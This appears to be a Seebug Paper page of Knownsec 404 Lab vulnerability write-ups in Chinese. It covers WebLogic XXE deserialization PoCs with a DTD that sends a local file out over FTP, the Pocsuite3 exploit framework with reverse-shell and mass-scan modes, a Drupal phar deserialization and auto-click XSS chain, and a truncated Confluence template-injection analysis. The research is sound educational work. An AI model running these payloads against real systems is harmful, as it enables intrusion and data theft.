-
WebLogic CVE-2019-2647、CVE-2019-2648、CVE-2019-2649、CVE-2019-2650 XXE漏洞分析
作者:Longofo@知道创宇404实验室
时间:2019年4月26日Oracle发布了4月份的补丁,详情见链接(https://www.oracle.com/technetwork/security-advisory/cpuapr2019-5072813.html#AppendixFMW)
@xxlegend 在《Weblogic CVE-2019-2647等相关XXE漏洞分析》分析了其中的一个XXE漏洞点,并给出了PoC。刚入手java不久,本着学习的目的,自己尝试分析了其他几个点的XXE并构造了PoC。下面的分析我尽量描述自己思考以及PoC构造过程,新手真的会踩很多莫名其妙的坑。感谢在复现与分析过程中为我提供帮助的小伙伴@Badcode,没有他的帮助我可能环境搭起来都会花费一大半时间。
补丁分析,找到漏洞点
根据JAVA常见XXE写法与防御方式(参考https://blog.spoock.com/2018/10/23/java-xxe/),通过对比补丁,发现新补丁以下四处进行了
setFeature
操作:应该就是对应的四个CVE了,其中
ForeignRecoveryContext
@xxlegend大佬已经分析过了,这里就不再分析了,下面主要是分析下其他三个点分析环境
- Windows 10
- WebLogic 10.3.6.0
- Jdk160_29(WebLogic 10.3.6.0自带的JDK)
WsrmServerPayloadContext 漏洞点分析
WsrmServerPayloadContext
修复后的代码如下:12345678910111213141516171819202122232425262728293031323334package weblogic.wsee.reliability;import ...public class WsrmServerPayloadContext extends WsrmPayloadContext {public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {...}private EndpointReference readEndpt(ObjectInput var1, int var2) throws IOException, ClassNotFoundException {...ByteArrayInputStream var15 = new ByteArrayInputStream(var3);try {DocumentBuilderFactory var7 = DocumentBuilderFactory.newInstance();try {String var8 = "http://xml.org/sax/features/external-general-entities";var7.setFeature(var8, false);var8 = "http://xml.org/sax/features/external-parameter-entities";var7.setFeature(var8, false);var8 = "http://apache.org/xml/features/nonvalidating/load-external-dtd";var7.setFeature(var8, false);var7.setXIncludeAware(false);var7.setExpandEntityReferences(false);} catch (Exception var11) {if (verbose) {Verbose.log("Failed to set factory:" + var11);}}...}}可以看到进行了
setFeature
操作防止xxe攻击,而未打补丁之前是没有进行setFeature
操作的readExternal
在反序列化对象时会被调用,与之对应的writeExternal
在序列化对象时会被调用,看下writeExternal
的逻辑:var1
就是this.formENdpt
,注意var5.serialize
可以传入三种类型的对象,var1.getEndptElement()
返回的是Element
对象,先尝试新建一个项目构造一下PoC
:结构如下
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849public class WeblogicXXE1 {public static void main(String[] args) throws IOException {Object instance = getXXEObject();ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe"));out.writeObject(instance);out.flush();out.close();}public static class MyEndpointReference extends EndpointReference {@Overridepublic Element getEndptElement() {super.getEndptElement();Document doc = null;Element element = null;try {DocumentBuilderFactory dbFactory = DocumentBuilderFactory.newInstance();//从DOM工厂中获得DOM解析器DocumentBuilder dbBuilder = dbFactory.newDocumentBuilder();//创建文档树模型对象doc = dbBuilder.parse("test.xml");element = doc.getDocumentElement();} catch (Exception e) {e.printStackTrace();}return element;}}public static Object getXXEObject() {EndpointReference fromEndpt = (EndpointReference) new MyEndpointReference();EndpointReference faultToEndpt = null;WsrmServerPayloadContext wspc = new WsrmServerPayloadContext();try {Field f1 = wspc.getClass().getDeclaredField("fromEndpt");f1.setAccessible(true);f1.set(wspc, fromEndpt);Field f2 = wspc.getClass().getDeclaredField("faultToEndpt");f2.setAccessible(true);f2.set(wspc, faultToEndpt);} catch (Exception e) {e.printStackTrace();}return wspc;}}test.xml内容如下,my.dtd暂时为空就行,先测试能否接收到请求:
12345<?xml version="1.0" encoding="utf-8"?><!DOCTYPE data SYSTEM "http://127.0.0.1:8000/my.dtd" [<!ELEMENT data (#PCDATA)>]><data>4</data>运行PoC,生成的反序列化数据xxe,使用十六进制查看器打开:
发现DOCTYPE无法被引入
我尝试了下面几种方法:
- 在上面说到
var5.serialize
可以传入Document
对象,测试了下,的确可以,但是如何使getEndptElement
返回一个Document
对象呢?- 尝试了自己创建一个
EndpointReference
类,修改getEndptElement
返回对象,内容和原始内容一样,但是在反序列化时找不到我创建的类,原因是自己建的类package
与原来的不同,所以失败了 - 尝试像Python那样动态替换一个类的方法,貌似Java好像做不到...
- 尝试了自己创建一个
- 尝试了一个暴力的方法,替换Jar包中的类。首先复制出Weblogic的
modules
文件夹与wlserver_10.3\server\lib
文件夹到另一个目录,将wlserver_10.3\server\lib\weblogic.jar
解压,将WsrmServerPayloadContext.class
类删除,重新压缩为weblogic.Jar
,然后新建一个项目,引入需要的Jar文件(modules
和wlserver_10.3\server\lib
中所有的Jar包),然后新建一个与WsrmServerPayloadContext.class
同样的包名,在其中新建WsrmServerPayloadContext.class
类,复制原来的内容进行修改(修改只是为了生成能触发xml解析的数据,对readExternal
反序列化没有影响)。WsrmServerPayloadContext.class
修改的内容如下: - 经过测试第二种方式是可行的,但是好像过程略复杂。然后尝试了下新建一个与原始
WsrmServerPayloadContext.class
类同样的包名,然后进行修改,修改内容与第二种方式一样测试这种方式也是可行的,比第二种方式操作起来方便些
构造新的PoC:
123456789101112131415161718192021222324252627282930public class WeblogicXXE1 {public static void main(String[] args) throws IOException {Object instance = getXXEObject();ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe"));out.writeObject(instance);out.flush();out.close();}public static Object getXXEObject() {EndpointReference fromEndpt = new EndpointReference();EndpointReference faultToEndpt = null;WsrmServerPayloadContext wspc = new WsrmServerPayloadContext();try {Field f1 = wspc.getClass().getDeclaredField("fromEndpt");f1.setAccessible(true);f1.set(wspc, fromEndpt);Field f2 = wspc.getClass().getDeclaredField("faultToEndpt");f2.setAccessible(true);f2.set(wspc, faultToEndpt);} catch (Exception e) {e.printStackTrace();}return wspc;}}查看下新生成的xxe十六进制:
DOCTYPE被写入了
测试下,使用T3协议脚本向WebLogic 7001端口发送序列化数据:
漂亮,接收到请求了,接下来就是尝试下到底能不能读取到文件了
构造的test.xml如下:
12345678<?xml version="1.0" encoding="utf-8"?><!DOCTYPE ANY [<!ENTITY % file SYSTEM "file:///C:Users/dell/Desktop/test.txt"><!ENTITY % dtd SYSTEM "http://127.0.0.1:8000/my.dtd">%dtd;%send;]><ANY>xxe</ANY>my.dtd如下(my.dtd在使用PoC生成反序列化数据的时候先清空,然后,不然在
dbBuilder.parse
时会报错无法生成正常的反序列化数据,至于为什么,只有自己测试下才会明白):1234<!ENTITY % all"<!ENTITY % send SYSTEM 'ftp://127.0.0.1:2121/%file;'>">%all;运行PoC生成反序列化数据,测下发现请求都接收不到了...,好吧,查看下十六进制:
%dtd;%send;
居然不见了...,可能是因为DOM解析器的原因,my.dtd内容为空,数据没有被引用。尝试debug看下:
可以看到
%dtd;%send;
确实是被处理掉了测试下正常的加载外部数据,my.dtd改为如下:
1234<!ENTITY % all"<!ENTITY % send SYSTEM 'http://127.0.0.1:8000/gen.xml'>">%all;gen.xml为:
1<?xml version="1.0" encoding="UTF-8"?>debug看下:
可以看到
%dtd;%send;
被my.dtd里面的内容替换了。debug大致看了xml解析过程,中间有一个EntityScanner
,会检测xml中的ENTITY,并且会判断是否加载了外部资源,如果加载了就外部资源加载进来,后面会将实体引用替换为实体申明的内容。也就是说,我们构造的反序列化数据中的xml数据,已经被解析过一次了,而需要的是没有被解析过的数据,让目标去解析。所以我尝试修改了十六进制如下,使得xml修改成没有被解析的形式:
运行PoC测试下,
居然成功了,一开始以为反序列化生成的xml数据那块还会进行校验,不然反序列化不了,直接修改数据是不行的,没想到直接修改就可以了
UnknownMsgHeader 漏洞点分析
与
WsrmServerPayloadContext
差不多,PoC构造也是新建包然后替换,就不详细分析了,只说下类修改的地方与PoC构造新建
UnknownMsgHeader
类,修改writeExternal
PoC如下:
1234567891011121314151617181920212223242526272829public class WeblogicXXE2 {public static void main(String[] args) throws IOException {Object instance = getXXEObject();ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe"));out.writeObject(instance);out.flush();out.close();}public static Object getXXEObject() {QName qname = new QName("a", "b", "c");Element xmlHeader = null;UnknownMsgHeader umh = new UnknownMsgHeader();try {Field f1 = umh.getClass().getDeclaredField("qname");f1.setAccessible(true);f1.set(umh, qname);Field f2 = umh.getClass().getDeclaredField("xmlHeader");f2.setAccessible(true);f2.set(umh, xmlHeader);} catch (Exception e) {e.printStackTrace();}return umh;}}运行PoC测试下(生成的步骤与第一个漏洞点一样),使用T3协议脚本向WebLogic 7001端口发送序列化数据:
WsrmSequenceContext 漏洞点分析
这个类看似需要构造的东西挺多的,
readExternal
与writeExternal
的逻辑也比前两个复杂些,但是PoC构造也很容易新建
WsrmSequenceContext
类,修改PoC如下:
1234567891011121314151617181920212223242526public class WeblogicXXE3 {public static void main(String[] args) throws IOException {Object instance = getXXEObject();ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe"));out.writeObject(instance);out.flush();out.close();}public static Object getXXEObject() {EndpointReference acksTo = new EndpointReference();WsrmSequenceContext wsc = new WsrmSequenceContext();try {Field f1 = wsc.getClass().getDeclaredField("acksTo");f1.setAccessible(true);f1.set(wsc, acksTo);} catch (Exception e) {e.printStackTrace();}return wsc;}}测试下,使用T3协议脚本向WebLogic 7001端口发送序列化数据:
最后
好了,分析完成了。第一次分析Java的漏洞,还有很多不足的地方,但是分析的过程中也学到了很多,就算是一个看似很简单的点,如果不熟悉Java的一特性,会花费较长的时间去折腾。所以,一步一步走吧,不要太急躁,还有很多东西要学。
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/906/
没有评论 -
如何打造自己的PoC框架-Pocsuite3-使用篇
作者:w7ay@知道创宇404实验室
Engilish version: https://paper.seebug.org/905/相比于无聊的用法介绍,我更想说一下Pocsuite3为什么会有这些功能以及是如何实现的。如果你也想制造一款类似的工具,Pocsuite3的一些思想或许能够帮助到你。本文同时也是记录Pocsuite3开发过程中的一些思考与理解。
简介
Pocsuite 是由知道创宇404实验室打造的一款开源的远程漏洞测试框架。它是知道创宇安全研究团队发展的基石,是团队发展至今一直维护的一个项目,保障了我们的 Web 安全研究能力的领先。
你可以直接使用 Pocsuite 进行漏洞的验证与利用;你也可以基于 Pocsuite 进行 PoC/Exp 的开发,因为它也是一个 PoC 开发框架;同时,你还可以在你的漏洞测试工具里直接集成 Pocsuite,它也提供标准的调用类。
Pocsuite3是完全由Python3编写,支持Windows/Linux/Mac OSX等系统,在原Pocsuite的基础上进行了整体的重写与升级,使整个框架更具有操作性和灵活性。
巨人的肩膀
Pocsuite3在编写时参考了很多市面上的开源框架以及流行成熟的框架,在代码工程结构上参考了Sqlmap,Pocsuite-console模式则参照了routersploit与metasploit,所以PoC的代码格式和以前有些差别(但是尽量克制了大的改动)。Pocsuite3也提供了非常简单的接口调用,可以集成到其他安全工具内部。
下载
Pip 安装
安装有两种,pip和直接运行源码。
1pip install -U pocsuite3 --no-cache-dir将使用Pocsuite3最新版。
执行
1pocsuite -h检验安装效果。
源码安装
如果你自信能折腾的话,可以下载源码使用,这也是我们推荐的方式,因为pip的更新可能会慢于github,
12wget https://github.com/knownsec/pocsuite3/archive/master.zipunzip master.zip同时需要安装两个依赖
1pip install requests requests-toolbelt如果同时也是Windows系统,除了上面的依赖还需要安装一个
1pip install pyreadline # Windows console模式下使用,如果不使用可以不安装最后
1python cli.py -h检验安装效果。
另外需要注意的是,两种安装方式只可以取其一,不可同时安装。建议使用源码安装的方式。
一般使用帮助
大多数情况,
-h
可以帮助你了解Pocsuite支持的功能。一个简单的测试
1python3 cli.py -r pocs/ecshop_rce.py --dork ecshop --threads 5将使用ZoomEye搜索ecshop并使用
ecshop_rce.py
探测,指定线程数量为5Pocsuite的运行模式默认是
verify
验证模式,此时对目标影响最小,也有attack
和shell
模式,对目标进行相关攻击与shell反弹(当然需要PoC的支持,Pocsuite的PoC编写格式预留了这三种模式的接口,并且有很多内置API帮助实现这三种接口)Shell模式
Pocsuite3新增加了shell模式的设定,当你选择了此函数,Pocsuite3将会监听一个端口,并等待目标的反连。我们提供了各种语言用于反连的payload,以及用于生成在Windows/Linux平台下可执行的shellcode。
从配置文件运行
有时候命令行命令太多,有些参数的重用性比较高,Pocsuite也提供了从配置文件中运行的方法。
我们以redis未授权访问漏洞为例,我们修改这个文件pocsuite.ini
线程也调整一下,RUN!
1python3 cli.py -c ../pocsuite.ini由于开启了
comparsion
参数,我们可以看到更多的信息如果你同时还是
Zoomeye VIP
,搜集目标的同时也能够识别出蜜罐信息。目前只有通过Zoomeye接口获取的数据才能有蜜罐的标识。Shodan、Censys暂未开放相关API接口。插件系统
Pocsuite支持了插件系统,按照加载目标(targets),加载PoC(pocs),结果处理(results)分为三种类型插件。
Targets插件
除了本身可以使用
-u
、-f
加载本地的目标之外,你可以编写一个targets类型插件从任何你想加载的地方加载目标(eg:Zoomeye、Shodan)甚至从网页上,redis,都可以。Pocsuite3内置了四种目标加载插件。从上文可以看出,如果使用了搜索dork
—dork
、—dork_zoomeye
、—dork_shodan
、—dork_censys
,相关插件将自动加载,无需手动指定。Pocs插件
原来只能通过从seebug中调用插件,现在将这种方式抽离出来作为插件,将允许从任何能够访问的地方调用,甚至写一个插件在github上维护一个仓库调用都行。
Demo:
https://github.com/knownsec/pocsuite3/blob/master/pocsuite3/plugins/poc_from_redis.py
https://github.com/knownsec/pocsuite3/blob/master/pocsuite3/plugins/poc_from_seebug.py
Results-plugin
Results插件允许对扫描的结果进行处理,可以参考内置的两个插件,保存结果为html与保存结果为txt。Results插件的结果是实时的,具体可以看
plugins/file_record.py
的实现方式。https://github.com/knownsec/pocsuite3/blob/master/pocsuite3/plugins/html_report.py
https://github.com/knownsec/pocsuite3/blob/master/pocsuite3/plugins/file_record.py
调用插件
通过
--plugins
在后面指定插件名称,多个插件可以用,
分割。例如--plugins html_report
将会生成HTML报表格式文档。内置API
基于我们漏洞应急的积累,基本上Pocsuite内置的API接口可以做到PoC编写的全覆盖了。很多API接口我们下一章再说,这里说两个比较有趣的案例。
Shellcode生成支持
在一些特殊的Linux和Windows环境下,想得到反弹shell条件比较困难。为此我们制作了用于在Windows/Linux x86 x64环境下的用于反弹的shellcode,并制作了接口支持,你在只需要拥有命令执行权限下便可以自动将shellcode写入到目标机器以及执行反弹shell命令。Demo Poc:https://github.com/knownsec/pocsuite3/blob/master/pocsuite3/pocs/thinkphp_rce2.py
HTTP服务内置
如果你们还对Hacking Jenkins Part 2 - Abusing Meta Programming for Unauthenticated RCE! 有印象。多么完美的漏洞,但是在编写PoC的时候我们遇到了困难,
verify
模式我们可以轻松用Ceye来识别,但是attack
模式与shell
模式我们就必须要制作自己的Jar并将它上传到服务器上面!为此我们制作Jar格式打包的API以及HTTP服务API,在后面的众多越来越难以自动化的PoC编写中,会发现它是如此好用。
附 Jenkins Abusing Meta Programming for Unauthenticated RCE(CVE-2019-1003000) with Pocsuite3 演示视频。
https://www.youtube.com/watch?v=5P7WWlqYt4U
自定义参数传递
随着编程人员的安全意识逐渐提高,会发现以前一条链接就可以获取RCE的时代已经过去了。越来越多的漏洞转向需要一定"权限"才能触发。为此,我们需要在Pocsuite3预留参数接口。
在尽量保持原有PoC格式的前提下,我们增加了一个
_options
方法,用于指定用户传递的参数。DemoPoc: https://github.com/knownsec/pocsuite3/blob/master/tests/login_demo.py我们定义了在Poc中需要传递
username
、password
两个参数,为了使用的方便,可以直接在命令行模式下如下1python3 cli.py -u http://localhost -r tests/login_demo.py --username "404team" --password "password"是的,就是这么简单。可能你会问如果PoC中定义的参数与Pocsuite自带的参数名冲突了如何解决?我们的解决办法是不允许定义冲突的参数名,Pocsuite在启动时就会检查,如果有冲突的参数名会提示你修改PoC中的自定义参数名称。
Console模式
在某些情况下,我们也考虑到了可交互的命令模式(黑客的仪式感)。并且它完全能兼容命令行模式下的PoC,如果你在Linux或Mac下使用它,将得到更好的体验。
一些Tips:
- 在此模式下多用help可以明白更多
- 加载PoC插件时,可以直接
use + 数字
,更简单方便,当然输入完整路径也可以,按下Tab会自动补全。 - 有一些命令别名没有在help中显示,作为彩蛋等待使用者发现~
API 通用集成
我们鼓励也支持将Pocsuite3作为安全产品中的一部分。只需要将Pocsuite3作为模块导入到你的项目中就能轻松使用。后面我们也会详细说明Pocsuite3是如何做到这一点的。
pocsuite3.api
将Pocsuite中所有接口暴露出来,不管是写PoC还是集成到自己的环境,只需要使用这就可以。一个简单调用Demo。123456789101112131415161718from pocsuite3.api import init_pocsuitefrom pocsuite3.api import start_pocsuitefrom pocsuite3.api import get_resultfrom pocsuite3.api import pathimport osconfig = {'url': 'https://www.baidu.com/','poc': os.path.join(paths.POCSUITE_ROOT_PATH, "../tests/login_demo.py"),'username': "asd",'password': 'asdss','verbose': 0}# config字典的配置和cli命令行参数配置一模一样init_pocsuite(config)start_pocsuite()result = get_results().pop()print(result)最后
一个功能完备的框架并不只是一个可以批量处理任务的引擎,很多东西需要在实战中积累并以最好的方式实现出来(俗称踩坑)。在打造自己的PoC框架过程中,一定要清楚自己需要的是什么,以及用何种方式将它优雅的解决?下篇将具体谈谈Pocsuite3中的框架结构。
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/904/
-
Drupal 1-click to RCE 分析
作者:LoRexxar'@知道创宇404实验室
时间:2019年4月19日2019年4月11日,zdi博客公开了一篇A SERIES OF UNFORTUNATE IMAGES: DRUPAL 1-CLICK TO RCE EXPLOIT CHAIN DETAILED.
整个漏洞的各个部分没什么特别的,巧妙的是,攻击者使用了3个漏洞+几个小trick,把所有的漏洞链接起来却成了一个还不错的利用链,现在我们就来一起看看整个漏洞.
无后缀文件写入
在Drupal的机制中,设定了这样一条规则。
用户上传的图片文件名将会被保留,如果出现文件名相同的情况,那么文件名后面就会被跟上
_0
,_1
依次递增。在Drupal中为了兼容各种编码,在处理上传文件名时,Drupal会对文件名对相应的处理,如果出现值小于
0x20
的字符,那么就会将其转化为_
。但如果文件名中,如果出现了
\x80
到\xff
的字符时,PHP就会抛出PREG_BAD_UTF8_ERROR
,如果发生错误,那么preg_replace
就会返回NULL,$basename
就会被置为NULL。当basename为空时,后面的文件内容会被写入到形似
_0
的文件内在这个基础下,原本会被上传到
1/sites/default/files/pictures/<YYYY-MM>/则会被写入
1/sites/default/files/pictures/<YYYY-MM>/_0当服务端开启了评论头像上传,或者是拥有作者账号时
攻击者可以通过上传一张恶意构造的gif图,然后再上传一张带有恶意字符的同一张图,那么就会将恶意图片的内容写入到相应目录的
_0
中但如果我们直接访问这个文件时,该文件可能不会解析,这是因为
- 浏览器首先会根据服务端给出的content-type解析页面,而服务端一般不会给空后缀的文件设置
content-type
,或者设置为application/octet-stream
- 其次浏览器会根据文件内容做简单的判断,如果文件的开头为
<html>
,则部分浏览器会将其解析为html - 部分浏览器还可能会设置默认的content-type,但大部分浏览器会选择不解析该文件。
这时候我们就需要一个很特殊的小trick了,a标签可以设置打开文件的type(only not for chrome)
当你访问该页面时,页面会被解析为html并执行相应的代码。
123456789101112<html><head></head><body><a id='a' href="http://127.0.0.1/drupal-8.6.2/sites/default/files/2019-04/_6" type="text/html">321321</a><script type="text/javascript">var a = document.getElementById('a')a.click()</script></body></html>当被攻击者访问该页面时,我们就可以执行任意的xss,这为后续的利用带来了很大的便利,我们有了一个同源环境下的任意js执行点,让我们继续看。
phar反序列化RCE
2018年BlackHat大会上的Sam Thomas分享的File Operation Induced Unserialization via the “phar://” Stream Wrapper议题,原文https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf 。
在该议题中提到,在PHP中存在一个叫做Stream API,通过注册拓展可以注册相应的伪协议,而phar这个拓展就注册了
phar://
这个stream wrapper。在我们知道创宇404实验室安全研究员seaii曾经的研究(https://paper.seebug.org/680/)中表示,所有的文件函数都支持stream wrapper。
也就是说,如果我们找到可控的文件操作函数,其参数可控为phar文件,那么我们就可以通过反序列化执行js。
在Drupal中,存在file system功能,其中就有一个功能,会把传入的地址做一次
is_dir
的判断,这里就存在这个问题直接使用下面的payload生成文件
12345678910111213141516171819202122232425262728<?phpnamespace GuzzleHttp\Psr7{class FnStream{public $_fn_close = "phpinfo";public function __destruct(){if (isset($this->_fn_close)) {call_user_func($this->_fn_close);}}}}namespace{@unlink("phar.phar");$phar = new Phar("phar.phar");$phar->startBuffering();$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头$o = new \GuzzleHttp\Psr7\FnStream();$phar->setMetadata($o); //将自定义meta-data存入manifest$phar->addFromString("test.txt", "test"); //添加要压缩的文件//签名自动计算$phar->stopBuffering();}?>修改后缀为png之后,传图片到服务端,并在
file system
中设置1phar://./sites/default/files/2019-04/drupal.png即可触发
漏洞要求
这个漏洞在Drual8.6.6的更新中被修复,所以漏洞要求为
- <= Durpal 8.6.6
- 服务端开启评论配图或者攻击者拥有author以上权限的账号
- 被攻击者需要访问攻击者的url
当上面三点同时成立时,这个攻击链就可以被成立
漏洞补丁
无后缀文件写入 SA-CORE-2019-004
https://www.drupal.org/SA-CORE-2019-004
如果出现该错误直接抛出,不继续写入
phar反序列化 SA-CORE-2019-002
https://www.drupal.org/SA-CORE-2019-002
写在最后
回顾整个漏洞,不难发现其实整个漏洞都是由很多个不起眼的小漏洞构成的,Drupal的反序列化POP链已经被公开许久,phar漏洞也已经爆出一年,在2019年初,Drupal也更新修复了这个点,而
preg_replace
报错会抛出错误我相信也不是特别的特性,把这三个漏洞配合上一个很特别的a标签设置content-type的trick,就成了一个很漂亮的漏洞链。
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/897/
- 浏览器首先会根据服务端给出的content-type解析页面,而服务端一般不会给空后缀的文件设置
-
Confluence 未授权 RCE (CVE-2019-3396) 漏洞分析
作者:Badcode@知道创宇404实验室
时间:2019年4月8日看到官方发布了预警,于是开始了漏洞应急。漏洞描述中指出Confluence Server与Confluence Data Center中的Widget Connector存在服务端模板注入漏洞,攻击者能利用此漏洞能够实现目录穿越与远程代码执行。
确认漏洞点是Widget Connector,下载最新版的比对补丁,发现在
com\atlassian\confluence\extra\widgetconnector\WidgetMacro.java
里面多了一个过滤,这个应该就是这个漏洞最关键的地方。可以看到
1this.sanitizeFields = Collections.unmodifiableList(Arrays.asList(VelocityRenderService.TEMPLATE_PARAM));而
TEMPLATE_PARAM
的值就是_template
,所以这个补丁就是过滤了外部传入的_template
参数。1234public interface VelocityRenderService {public static final String WIDTH_PARAM = "width";public static final String HEIGHT_PARAM = "height";public static final String TEMPLATE_PARAM = "_template";翻了一下Widget Connector里面的文件,发现
TEMPLATE_PARAM
就是模板文件的路径。12345678910public class FriendFeedRenderer implements WidgetRenderer {private static final String MATCH_URL = "friendfeed.com";private static final String PATTERN = "friendfeed.com/(\\w+)/?";private static final String VELOCITY_TEMPLATE = "com/atlassian/confluence/extra/widgetconnector/templates/simplejscript.vm";private VelocityRenderService velocityRenderService;......public String getEmbeddedHtml(String url, Map<String, String> params) {params.put(VelocityRenderService.TEMPLATE_PARAM, VELOCITY_TEMPLATE);return velocityRenderService.render(getEmbedUrl(url), params);}加载外部的链接时,会调用相对的模板去渲染,如上,模板的路径一般是写死的,但是也有例外,补丁的作用也说明有人突破了限制,调用了意料之外的模板,从而造成了模板注入。
在了解了补丁和有了一些大概的猜测之后,开始尝试。
首先先找到这个功能,翻了一下官方的文档,找到了这个功能,可以在文档中嵌入一些视频,文档之类的。
看到这个,有点激动了,因为在翻补丁的过程中,发现了几个参数,
url
,width
,height
正好对应着这里,那_template
是不是也从这里传递进去的?随便找个Youtube视频插入试试,点击预览,抓包。
在
params
中尝试插入_template
参数,好吧,没啥反应。。开始debug模式,因为测试插入的是Youtube视频,所以调用的是
com/atlassian/confluence/extra/widgetconnector/video/YoutubeRenderer.class
12345678910111213141516171819202122public class YoutubeRenderer implements WidgetRenderer, WidgetImagePlaceholder {private static final Pattern YOUTUBE_URL_PATTERN = Pattern.compile("https?://(.+\\.)?youtube.com.*(\\?v=([^&]+)).*$");private final PlaceholderService placeholderService;private final String DEFAULT_YOUTUBE_TEMPLATE = "com/atlassian/confluence/extra/widgetconnector/templates/youtube.vm";......public String getEmbedUrl(String url) {Matcher youtubeUrlMatcher = YOUTUBE_URL_PATTERN.matcher(this.verifyEmbeddedPlayerString(url));return youtubeUrlMatcher.matches() ? String.format("//www.youtube.com/embed/%s?wmode=opaque", youtubeUrlMatcher.group(3)) : null;}public boolean matches(String url) {return YOUTUBE_URL_PATTERN.matcher(this.verifyEmbeddedPlayerString(url)).matches();}private String verifyEmbeddedPlayerString(String url) {return !url.contains("feature=player_embedded&") ? url : url.replace("feature=player_embedded&", "");}public String getEmbeddedHtml(String url, Map<String, String> params) {return this.velocityRenderService.render(this.getEmbedUrl(url), this.setDefaultParam(params));}在
getEmbeddedHtml
下断点,先会调用getEmbedUrl
对用户传入的url
进行正则匹配,因为我们传入的是个正常的Youtube视频,所以这里是没有问题的,然后调用setDefaultParam
函数对传入的其他参数进行处理。123456789101112131415161718192021<span class="kd">private</span> <span class="n">Map</span><span class="o"><</span><span class="n">String</span><span class="o">,</span> <span class="n">String</span><span class="o">></span> <span class="nf">setDefaultParam</span><span class="o">(</span><span class="n">Map</span><span class="o"><</span><span class="n">String</span><span class="o">,</span> <span class="n">String</span><span class="o">></span> <span class="n">params</span><span class="o">)</span> <span class="o">{</span><span class="n">String</span> <span class="n">width</span> <span class="o">=</span> <span class="o">(</span><span class="n">String</span><span class="o">)</span><span class="n">params</span><span class="o">.</span><span class="na">get</span><span class="o">(</span><span class="s">"width"</span><span class="o">);</span><span class="n">String</span> <span class="n">height</span> <span class="o">=</span> <span class="o">(</span><span class="n">String</span><span class="o">)</span><span class="n">params</span><span class="o">.</span><span class="na">get</span><span class="o">(</span><span class="s">"height"</span><span class="o">);</span><span class="k">if</span> <span class="o">(!</span><span class="n">params</span><span class="o">.</span><span class="na">containsKey</span><span class="o">(</span><span class="s">"_template"</span><span class="o">))</span> <span class="o">{</span><span class="n">params</span><span class="o">.</span><span class="na">put</span><span class="o">(</span><span class="s">"_template"</span><span class="o">,</span> <span class="s">"com/atlassian/confluence/extra/widgetconnector/templates/youtube.vm"</span><span class="o">);</span><span class="o">}</span><span class="k">if</span> <span class="o">(</span><span class="n">StringUtils</span><span class="o">.</span><span class="na">isEmpty</span><span class="o">(</span><span class="n">width</span><span class="o">))</span> <span class="o">{</span><span class="n">params</span><span class="o">.</span><span class="na">put</span><span class="o">(</span><span class="s">"width"</span><span class="o">,</span> <span class="s">"400px"</span><span class="o">);</span><span class="o">}</span> <span class="k">else</span> <span class="k">if</span> <span class="o">(</span><span class="n">StringUtils</span><span class="o">.</span><span class="na">isNumeric</span><span class="o">(</span><span class="n">width</span><span class="o">))</span> <span class="o">{</span><span class="n">params</span><span class="o">.</span><span class="na">put</span><span class="o">(</span><span class="s">"width"</span><span class="o">,</span> <span class="n">width</span><span class="o">.</span><span class="na">concat</span><span class="o">(</span><span class="s">"px"</span><span class="o">));</span><span class="o">}</span><span class="k">if</span> <span class="o">(</span><span class="n">StringUtils</span><span class="o">.</span><span class="na">isEmpty</span><span class="o">(</span><span class="n">height</span><span class="o">))</span> <span class="o">{</span><span class="n">params</span><span class="o">.</span><span class="na">put</span><span class="o">(</span><span class="s">"height"</span><span class="o">,</span> <span class="s">"300px"</span><span class="o">);</span><span class="o">}</span> <span class="k">else</span> <span class="k">if</span> <span class="o">(</span><span class="n">StringUtils</span><span class="o">.</span><span class="na">isNumeric</span><span class="o">(</span><span class="n">height</span><span class="o">))</span> <span class="o">{</span><span class="n">params</span><span class="o">.</span><span class="na">put</span><span class="o">(</span><span class="s">"height"</span><span class="o">,</span> <span class="n">height</span><span class="o">.</span><span class="na">concat</span><span class="o">(</span><span class="s">"px"</span><span class="o">));</span><span class="o">}</span><span class="k">return</span> <span class="n">params</span><span class="o">;</span><span class="o">}</span>取出
width
和height
来判断是否为空,为空则设置默认值。关键的_template
参数来了,如果外部传入的参数没有_template
,则设置默认的Youtube模板。如果传入了,就使用传入的,也就是说,aaaa是成功的传进来了。大概翻了一下Widget Connector里面的Renderer,大部分是不能设置
_template
的,是直接写死了,也有一些例外,如Youtube,Viddler,DailyMotion等,是可以从外部传入_template
的。能传递
_template
了,接下来看下是如何取模板和渲染模板的。跟进
this.velocityRenderService.render
,也就是com/atlassian/confluence/extra/widgetconnector/services/DefaultVelocityRenderService.class
里面的render
方法。123456789101112131415161718192021222324252627282930313233343536373839<span class="kd">public</span> <span class="n">String</span> <span class="nf">render</span><span class="o">(</span><span class="n">String</span> <span class="n">url</span><span class="o">,</span> <span class="n">Map</span><span class="o"><</span><span class="n">String</span><span class="o">,</span> <span class="n">String</span><span class="o">></span> <span class="n">params</span><span class="o">)</span> <span class="o">{</span><span class="n">String</span> <span class="n">width</span> <span class="o">=</span> <span class="o">(</span><span class="n">String</span><span class="o">)</span><span class="n">params</span><span class="o">.</span><span class="na">get</span><span class="o">(</span><span class="s">"width"</span><span class="o">);</span><span class="n">String</span> <span class="n">height</span> <span class="o">=</span> <span class="o">(</span><span class="n">String</span><span class="o">)</span><span class="n">params</span><span class="o">.</span><span class="na">get</span><span class="o">(</span><span class="s">"height"</span><span class="o">);</span><span class="n">String</span> <span class="n">template</span> <span class="o">=</span> <span class="o">(</span><span class="n">String</span><span class="o">)</span><span class="n">params</span><span class="o">.</span><span class="na">get</span><span class="o">(</span><span class="s">"_template"</span><span class="o">);</span><span class="k">if</span> <span class="o">(</span><span class="n">StringUtils</span><span class="o">.</span><span class="na">isEmpty</span><span class="o">(</span><span class="n">template</span><span class="o">))</span> <span class="o">{</span><span class="n">template</span> <span class="o">=</span> <span class="s">"com/atlassian/confluence/extra/widgetconnector/templates/embed.vm"</span><span 